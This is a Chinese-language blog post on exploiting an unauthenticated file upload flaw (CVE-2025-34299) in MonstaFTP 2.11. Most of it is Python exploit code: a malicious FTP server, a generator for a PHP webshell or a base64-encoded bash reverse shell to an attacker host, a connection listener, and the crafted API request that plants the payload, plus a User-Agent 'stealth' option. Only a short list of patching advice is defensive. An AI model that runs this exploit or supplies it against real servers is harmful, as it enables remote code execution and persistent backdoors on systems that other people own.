MonstaFTP未认证文件上传漏洞(CVE-2025-34299)利用技术详解

本文详细分析了MonstaFTP V2.11版本中存在的未认证文件上传漏洞(CVE-2025-34299),该漏洞允许攻击者通过构造恶意FTP服务器并利用目标API接口实现任意文件上传,从而执行远程代码,提供了完整的Python利用脚本和技术实现细节。

MonstaFTP未认证文件上传漏洞(CVE-2025-34299)

漏洞概述

风险等级: 中等
本地利用: 否
远程利用: 是
CVE编号: CVE-2025-34299
CWE分类: CWE-434(不受限制的文件上传)

技术细节

漏洞描述

MonstaFTP V2.11版本中存在一个未认证的文件上传漏洞,攻击者可以通过构造恶意请求利用该漏洞实现任意文件上传。该漏洞位于/application/api/api.php接口的downloadFile功能中,允许未经验证的攻击者从恶意FTP服务器下载任意文件到目标服务器。

利用脚本分析

核心组件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import argparse
import base64
import json
import os
import random
import requests
import socket
import string
import sys
import tempfile
import threading
import time
import urllib3
from pwn import remote
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

自定义FTP处理器

1
2
3
4
class ExploitFTPHandler(FTPHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.banner = "FTP Server Ready"

监听器实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class Listener:
    def __init__(self, bind_host, bind_port):
        self.bind_host = bind_host
        self.bind_port = bind_port

    def start_listener(self):
        try:
            with socket.create_server((self.bind_host, self.bind_port)) as listener:
                print(f"[*] Listening on {self.bind_host}:{self.bind_port}...")
                listener.settimeout(1)
                while True:
                    try:
                        client, addr = listener.accept()
                        print(f"[+] Received connection from {addr[0]}:{addr[1]}")
                        client.settimeout(0.1)
                        self.handle_client(client)
                        break
                    except socket.timeout:
                        continue
        except Exception as e:
            print(f"[-] Failed to start listener: {e}")

载荷生成函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def generate_payload(lhost, lport, mode, encode=False):
    random_cmd = ''.join(random.choices(string.ascii_letters, k=6))
    
    if mode == "webshell":
        payload = f"<?php if(isset($_GET['{random_cmd}'])) {{system($_GET['{random_cmd}']);}} unlink(__FILE__); ?>"
    else:
        shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
        if encode:
            encoded = base64.b64encode(shell_cmd.encode()).decode()
            payload = f"<?php $f=__FILE__; exec(base64_decode('{encoded}')); unlink($f); ?>"
        else:
            payload = f"<?php $f=__FILE__; exec(\"{shell_cmd}\"); unlink($f); ?>"
    
    return payload, random_cmd

FTP服务器配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def start_ftp_server(host, port, lhost, lport, mode, encode):
    ftp_dir = tempfile.mkdtemp()
    random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
    payload_file = os.path.join(ftp_dir, random_filename)
    
    payload, cmd_param = generate_payload(lhost, lport, mode, encode)
    
    with open(payload_file, 'wb') as f:
        f.write(payload.encode())
    
    user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
    
    authorizer = DummyAuthorizer()
    authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
    
    ExploitFTPHandler.authorizer = authorizer
    server = FTPServer((host, port), ExploitFTPHandler)
    server.max_connections = 256
    
    return server, ftp_dir, f"/{random_filename}", user, pwd, cmd_param

漏洞利用核心

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def exploit(target, host, port, lhost, lport, mode, stealth, encode):
    listener_thread = None
    
    if mode == "reverse":
        listener = Listener(lhost, lport)
        listener_thread = threading.Thread(target=listener.start_listener, daemon=False)
        listener_thread.start()
        time.sleep(1)
    
    server, ftp_dir, remote, user, pwd, cmd_param = start_ftp_server(host, port, lhost, lport, mode, encode)
    
    threading.Thread(target=server.serve_forever, daemon=True).start()
    time.sleep(1)
    
    local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
    
    api_url = f"{target.rstrip('/')}/application/api/api.php"
    request_data = {
        "connectionType": "ftp",
        "configuration": {
            "host": host,
            "username": user,
            "initialDirectory": "/",
            "password": pwd,
            "port": port
        },
        "actionName": "downloadFile",
        "context": {
            "remotePath": remote,
            "localPath": local
        }
    }
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": random.choice(USER_AGENTS) if stealth else "python-requests"
    }

攻击流程

  1. 启动恶意FTP服务器,其中包含生成的恶意PHP文件
  2. 构造API请求,利用MonstaFTP的downloadFile功能从恶意FTP服务器下载文件
  3. 根据选择的模式:
    • webshell模式: 上传包含命令执行功能的PHP文件
    • reverse模式: 上传反向Shell载荷并建立连接
  4. 攻击者获得目标服务器的控制权限

利用参数

  • target: 目标URL
  • host: FTP服务器主机地址
  • port: FTP服务器端口
  • lhost: 监听器主机地址
  • lport: 监听器端口
  • mode: 攻击模式(reverse或webshell)
  • stealth: 启用隐蔽模式
  • encode: 对载荷进行Base64编码

安全建议

  1. 立即升级到最新版本的MonstaFTP
  2. 对文件上传功能实施严格的验证和过滤
  3. 限制API接口的访问权限
  4. 实施输入验证和输出编码

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计